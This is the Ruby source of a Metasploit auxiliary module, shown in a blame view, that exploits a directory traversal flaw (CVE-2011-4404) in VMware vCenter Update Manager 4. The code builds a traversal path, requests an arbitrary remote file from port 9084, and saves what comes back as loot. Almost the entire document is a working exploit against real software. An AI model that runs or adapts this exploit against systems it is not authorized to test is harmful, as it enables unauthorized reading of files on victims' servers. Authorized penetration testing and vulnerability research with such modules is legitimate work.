metasploit-framework/modules/auxiliary/scanner/vmware/vmware_update_manager_trave...

73 lines
2.2 KiB
Ruby
Raw Normal View History

2012-05-14 20:08:43 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
2012-05-14 20:08:43 +00:00
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
2012-05-14 20:08:43 +00:00
2013-08-30 21:28:54 +00:00
def initialize(info={})
super(update_info(info,
'Name' => "VMWare Update Manager 4 Directory Traversal",
'Description' => %q{
This modules exploits a directory traversal vulnerability in VMWare Update Manager
on port 9084. Versions affected by this vulnerability: vCenter Update Manager
4.1 prior to Update 2, vCenter Update Manager 4 Update 4.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Alexey Sintsov', #Initial discovery, poc
'sinn3r' #Metasploit
],
'References' =>
[
['CVE', '2011-4404'],
['EDB', '18138'],
['URL', 'http://www.vmware.com/security/advisories/VMSA-2011-0014.html'],
['URL', 'http://dsecrg.com/pages/vul/show.php?id=342']
],
'DisclosureDate' => "Nov 21 2011"))
2012-05-14 20:08:43 +00:00
2013-08-30 21:28:54 +00:00
register_options(
[
Opt::RPORT(9084),
OptString.new('URIPATH', [true, 'URI path to the downloads', '/vci/downloads/']),
OptString.new('FILE', [true, 'Define the remote file to download', 'windows\\win.ini'])
2013-08-30 21:28:54 +00:00
], self.class)
end
2012-05-14 20:08:43 +00:00
2013-08-30 21:28:54 +00:00
def run_host(ip)
fname = File.basename(datastore['FILE'])
traversal = ".\\..\\..\\..\\..\\..\\..\\..\\"
uri = normalize_uri(datastore['URIPATH']) + traversal + datastore['FILE']
2012-05-14 20:08:43 +00:00
2013-08-30 21:28:54 +00:00
print_status("#{rhost}:#{rport} - Requesting: #{uri}")
2012-05-14 20:08:43 +00:00
2013-08-30 21:28:54 +00:00
res = send_request_raw({
'method' => 'GET',
'uri' => uri
}, 25)
2012-05-14 20:08:43 +00:00
2013-08-30 21:28:54 +00:00
# If there's no response, don't bother
if res.nil? or res.body.empty?
print_error("No content retrieved from: #{ip}")
return
end
2012-05-14 20:08:43 +00:00
2013-08-30 21:28:54 +00:00
if res.code == 404
print_error("#{rhost}:#{rport} - File not found")
return
else
print_good("File retrieved from: #{ip}")
p = store_loot("vmware.traversal.file", "application/octet-stream", rhost, res.to_s, fname)
print_status("File stored in: #{p}")
end
end
2012-05-14 20:08:43 +00:00
end